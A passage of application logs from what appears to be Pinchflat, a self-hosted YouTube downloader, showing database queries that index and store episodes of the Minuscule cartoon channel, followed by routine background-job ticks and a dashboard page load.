https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Halloween Parano (Season 1)", "bXJ1WvXuShs", 422, false, 4, "https://www.youtube.com/watch?v=bXJ1WvXuShs", "/downloads/Miniscule Season 1/2013-10-31 Minuscule - Halloween Parano (Season 1)/Minuscule - Halloween Parano (Season 1) [bXJ1WvXuShs].mp4", false, ~U[2013-10-31 14:57:12Z]] 00:54:35.677 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.678 [debug] QUERY OK source="media_items" db=0.9ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-06-11 08:00:02Z], 4] 00:54:35.685 [debug] QUERY OK source="media_items" db=5.6ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Zzzepelin (Season 1)", "8430da57-8ba6-4533-aacb-197b18b228b7", "3bC922d7R-Q", 367, false, 4, "https://www.youtube.com/watch?v=3bC922d7R-Q", 147, "/downloads/Miniscule Season 1/2014-06-11 Minuscule - Zzzepelin (Season 1)/Minuscule - Zzzepelin (Season 1) [3bC922d7R-Q].mp4", false, false, false, [], 1, ~U[2014-06-11 08:00:02Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Zzzepelin (Season 1)", "3bC922d7R-Q", 367, false, 4, "https://www.youtube.com/watch?v=3bC922d7R-Q", "/downloads/Miniscule Season 1/2014-06-11 Minuscule - Zzzepelin (Season 1)/Minuscule - Zzzepelin (Season 1) [3bC922d7R-Q].mp4", false, ~U[2014-06-11 08:00:02Z]] 00:54:35.686 [debug] QUERY OK source="sources" db=0.3ms idle=13.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], 4] 00:54:35.687 [debug] QUERY OK source="media_items" db=1.2ms idle=10.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 00:54:35.689 [debug] QUERY OK source="media_items" db=1.0ms idle=10.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 00:54:35.689 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=10.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 00:54:35.689 [info] No notification servers provided for source 4 00:54:35.692 [debug] QUERY OK source="tasks" db=0.3ms idle=4.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2633, 4, ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z]] 00:54:35.693 [info] {"args":{"id":4},"id":2582,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":442946963,"event":"job:stop","queue_time":462775,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 00:55:00.660 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:01.153 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:31.155 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.661 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:01.157 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:31.159 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.662 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:01.161 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:31.163 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.663 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:01.165 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:31.167 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.664 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:01.169 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:31.172 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.665 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:01.174 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:31.176 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.666 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:01.178 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:31.180 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.667 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:01.182 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:31.184 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.668 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:01.186 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:31.188 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.669 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:01.190 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:31.192 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.670 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:01.194 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:31.196 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.671 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:01.198 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:31.200 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.672 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:01.202 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:31.204 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.673 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:01.206 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:31.208 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.674 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:01.210 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:31.212 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.675 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:01.214 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:31.216 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.676 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:01.218 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:31.220 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.677 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:01.222 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:31.224 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.678 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:01.226 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:31.228 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.679 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:01.230 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:31.232 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.680 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:01.234 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:31.236 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.681 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:01.238 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:31.240 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.682 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:01.242 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:31.244 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.683 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:01.246 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:31.248 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.684 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:01.250 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:31.252 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.685 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:01.254 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:31.256 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.686 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:01.258 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:04.275 [info] GET / 01:21:04.275 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:21:04.276 [debug] QUERY OK source="settings" db=0.3ms idle=1630.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.276 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1631.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:21:04.277 [debug] QUERY OK source="sources" db=0.2ms idle=1631.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:21:04.280 [debug] QUERY OK source="media_items" db=3.0ms idle=1193.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:21:04.281 [debug] QUERY OK source="media_items" db=0.5ms idle=194.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:21:04.282 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.282 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.283 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.285 [debug] QUERY OK source="tasks" db=0.3ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:21:04.286 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:21:04.287 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:21:04.288 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 01:21:04.297 [debug] QUERY OK source="media_items" db=3.6ms idle=9.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:21:04.299 [debug] QUERY OK source="media_items" db=1.4ms idle=12.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 